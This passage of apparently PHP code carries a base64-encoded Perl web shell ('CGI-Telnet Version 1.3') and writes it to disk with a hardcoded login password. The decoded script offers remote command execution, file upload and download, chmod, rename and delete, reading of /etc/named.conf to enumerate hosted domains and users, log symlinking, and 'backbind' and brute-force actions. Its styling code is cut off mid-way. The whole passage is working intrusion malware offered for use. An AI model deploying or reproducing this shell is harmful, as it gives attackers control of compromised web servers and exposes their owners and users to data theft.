Jz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+DQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU+PHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI+DQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ+DQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==";
        $cgi = fopen($file_cgi, "w");
        fwrite($cgi, "#!/usr/bin/perl -I/usr/local/bandmin\r\nuse MIME::Base64;\r\n\$Version= \"CGI-Telnet Version 1.3\";\r\n\$EditPersion=\"<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;'>CGI-Telnet</font>\";\r\n\r\n\$Password = \"hacker0882\";\t\t\t# Change this. You will need to enter this to login.\r\nsub Is_Win(){\r\n\t\$os = &trim(\$ENV{\"SERVER_SOFTWARE\"});\r\n\tif(\$os =~ m/win/i){\r\n\t\treturn 1;\r\n\t}\r\n\telse{\r\n\t\treturn 0;\r\n\t}\r\n}\r\n\$WinNT = &Is_Win();\t\t\t\t# You need to change the value of this to 1 if\r\n\t\t\t\t\t\t\t\t# you're running this script on a Windows NT\r\n\t\t\t\t\t\t\t\t# machine. If you're running it on Unix, you\r\n\t\t\t\t\t\t\t\t# can leave the value as it is.\r\n\r\n\$NTCmdSep = \"&\";\t\t\t\t# This character is used to seperate 2 commands\r\n\t\t\t\t\t\t\t\t# in a command line on Windows NT.\r\n\r\n\$UnixCmdSep = \";\";\t\t\t\t# This character is used to seperate 2 commands\r\n\t\t\t\t\t\t\t\t# in a command line on Unix.\r\n\r\n\$CommandTimeoutDuration = 10000;\t# Time in seconds after commands will be killed\r\n\t\t\t\t\t\t\t\t# Don't set this to a very large value. This is\r\n\t\t\t\t\t\t\t\t# useful for commands that may hang or that\r\n\t\t\t\t\t\t\t\t# take very long to execute, like \"find /\".\r\n\t\t\t\t\t\t\t\t# This is valid only on Unix servers. It is\r\n\t\t\t\t\t\t\t\t# ignored on NT Servers.\r\n\r\n\$ShowDynamicOutput = 1;\t\t\t# If this is 1, then data is sent to the\r\n\t\t\t\t\t\t\t\t# browser as soon as it is output, otherwise\r\n\t\t\t\t\t\t\t\t# it is buffered and send when the command\r\n\t\t\t\t\t\t\t\t# completes. This is useful for commands like\r\n\t\t\t\t\t\t\t\t# ping, so that you can see the output as it\r\n\t\t\t\t\t\t\t\t# is being generated.\r\n\r\n# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!\r\n\r\n\$CmdSep = (\$WinNT ? \$NTCmdSep : \$UnixCmdSep);\r\n\$CmdPwd = (\$WinNT ? \"cd\" : \"pwd\");\r\n\$PathSep = (\$WinNT ? \"\\\\\" : \"/\");\r\n\$Redirector = (\$WinNT ? \" 2>&1 1>&2\" : \" 1>&1 2>&1\");\r\n\$cols= 150;\r\n\$rows= 26;\r\n#------------------------------------------------------------------------------\r\n# Reads the input sent by the browser and parses the input variables. It\r\n# parses GET, POST and multipart/form-data that is used for uploading files.\r\n# The filename is stored in \$in{'f'} and the data is stored in \$in{'filedata'}.\r\n# Other variables can be accessed using \$in{'var'}, where var is the name of\r\n# the variable. Note: Most of the code in this function is taken from other CGI\r\n# scripts.\r\n#------------------------------------------------------------------------------\r\nsub ReadParse \r\n{\r\n\tlocal (*in) = @_ if @_;\r\n\tlocal (\$i, \$loc, \$key, \$val);\r\n\t\r\n\t\$MultipartFormData = \$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/;\r\n\r\n\tif(\$ENV{'REQUEST_METHOD'} eq \"GET\")\r\n\t{\r\n\t\t\$in = \$ENV{'QUERY_STRING'};\r\n\t}\r\n\telsif(\$ENV{'REQUEST_METHOD'} eq \"POST\")\r\n\t{\r\n\t\tbinmode(STDIN) if \$MultipartFormData & \$WinNT;\r\n\t\tread(STDIN, \$in, \$ENV{'CONTENT_LENGTH'});\r\n\t}\r\n\r\n\t# handle file upload data\r\n\tif(\$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/)\r\n\t{\r\n\t\t\$Boundary = '--'.\$1; # please refer to RFC1867 \r\n\t\t@list = split(/\$Boundary/, \$in); \r\n\t\t\$HeaderBody = \$list[1];\r\n\t\t\$HeaderBody =~ /\\r\\n\\r\\n|\\n\\n/;\r\n\t\t\$Header = \$`;\r\n\t\t\$Body = \$';\r\n \t\t\$Body =~ s/\\r\\n\$//; # the last \\r\\n was put in by Netscape\r\n\t\t\$in{'filedata'} = \$Body;\r\n\t\t\$Header =~ /filename=\\\"(.+)\\\"/; \r\n\t\t\$in{'f'} = \$1; \r\n\t\t\$in{'f'} =~ s/\\\"//g;\r\n\t\t\$in{'f'} =~ s/\\s//g;\r\n\r\n\t\t# parse trailer\r\n\t\tfor(\$i=2; \$list[\$i]; \$i++)\r\n\t\t{ \r\n\t\t\t\$list[\$i] =~ s/^.+name=\$//;\r\n\t\t\t\$list[\$i] =~ /\\\"(\\w+)\\\"/;\r\n\t\t\t\$key = \$1;\r\n\t\t\t\$val = \$';\r\n\t\t\t\$val =~ s/(^(\\r\\n\\r\\n|\\n\\n))|(\\r\\n\$|\\n\$)//g;\r\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$in{\$key} = \$val; \r\n\t\t}\r\n\t}\r\n\telse # standard post data (url encoded, not multipart)\r\n\t{\r\n\t\t@in = split(/&/, \$in);\r\n\t\tforeach \$i (0 .. \$#in)\r\n\t\t{\r\n\t\t\t\$in[\$i] =~ s/\\+/ /g;\r\n\t\t\t(\$key, \$val) = split(/=/, \$in[\$i], 2);\r\n\t\t\t\$key =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$in{\$key} .= \"\\0\" if (defined(\$in{\$key}));\r\n\t\t\t\$in{\$key} .= \$val;\r\n\t\t}\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML Page Header\r\n# Argument 1: Form item name to which focus should be set\r\n#------------------------------------------------------------------------------\r\nsub PrintPageHeader\r\n{\r\n\t\$EncodedCurrentDir = \$CurrentDir;\r\n\t\$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\r\n\tmy \$dir =\$CurrentDir;\r\n\t\$dir=~ s/\\\\/\\\\\\\\/g;\r\n\tprint \"Content-type: text/html\\n\\n\";\r\n\tprint <<END;\r\n<html>\r\n<head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<title>Hacsugia</title>\r\n\r\n\$HtmlMetaHeader\r\n\r\n</head>\r\n<style>\r\nbody{\r\nfont: 10pt Verdana;\r\n}\r\ntr {\r\nBORDER-RIGHT:  #3e3e3e 1px solid;\r\nBORDER-TOP:    #3e3e3e 1px solid;\r\nBORDER-LEFT:   #3e3e3e 1px solid;\r\nBORDER-BOTTOM: #3e3e3e 1px solid;\r\ncolor: #ff9900;\r\n}\r\ntd {\r\nBORDER-RIGHT:  #3e3e3e 1px solid;\r\nBORDER-TOP:    #3e3e3e 1px solid;\r\nBORDER-LEFT:   #3e3e3e 1px solid;\r\nBORDER-BOTTOM: #3e3e3e 1px solid;\r\ncolor: #ff9109;\r\nfont: 10pt Verdana;\r\n}\r\n\r\ntable {\r\nBORDER-RIGHT:  #3e3e3e 1px solid;\r\nBORDER-TOP:    #3e3e3e 1px solid;\r\nBORDER-LEFT:   #3e3e3e 1px solid;\r\nBORDER-BOTTOM: #3e3e3e 1px solid;\r\nBACKGROUND-COLOR: #111;\r\n}\r\n\r\n\r\ninput {\r\nBORDER-RIGHT:  #3e3e3e 1px solid;\r\nBORDER-TOP:    #3e3e3e 1px solid;\r\nBORDER-LEFT:   #3e3e3e 1px solid;\r\nBORDER-BOTTOM: #3e3e3e 1px solid;\r\nBACKGROUND-COLOR: Black;\r\nfont: 10pt Verdana;\r\ncolor: #ff9900;\r\n}\r\n\r\ninput.submit {\r\ntext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\r\ncolor: #FFFFFF;\r\nborder-color: #009900;\r\n}\r\n\r\ncode {\r\nborder\t\t\t: dashed 0px #333;\r\nBACKGROUND-COLOR: Black;\r\nfont: 10pt Verdana bold;\r\ncolor: while;\r\n}\r\n\r\nrun {\r\nborder\t\t\t: dashed 0px #333;\r\nfont: 10pt Verdana bold;\r\ncolor: #FF00AA;\r\n}\r\n\r\ntextarea {\r\nBORDER-RIGHT:  #3e3e3e 1px solid;\r\nBORDER-TOP:    #3e3e3e 1px solid;\r\nBORDER-LEFT:   #3e3e3e 1px solid;\r\nBORDER-BOTTOM: #3e3e3e 1px solid;\r\nBACKGROUND-COLOR: #1b1b1b;\r\nfont: Fixedsys bold;\r\ncolor: #aaa;\r\n}\r\nA:link {\r\n\tCOLOR: #ff9109; TEXT-DECORATION: none\r\n}\r\nA:visited {\r\n\tCOLOR: #ff9109; TEXT-DECORATION: none\r\n}\r\nA:hover {\r\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\r\n\tcolor: #ff9900; TEXT-DECORATION: 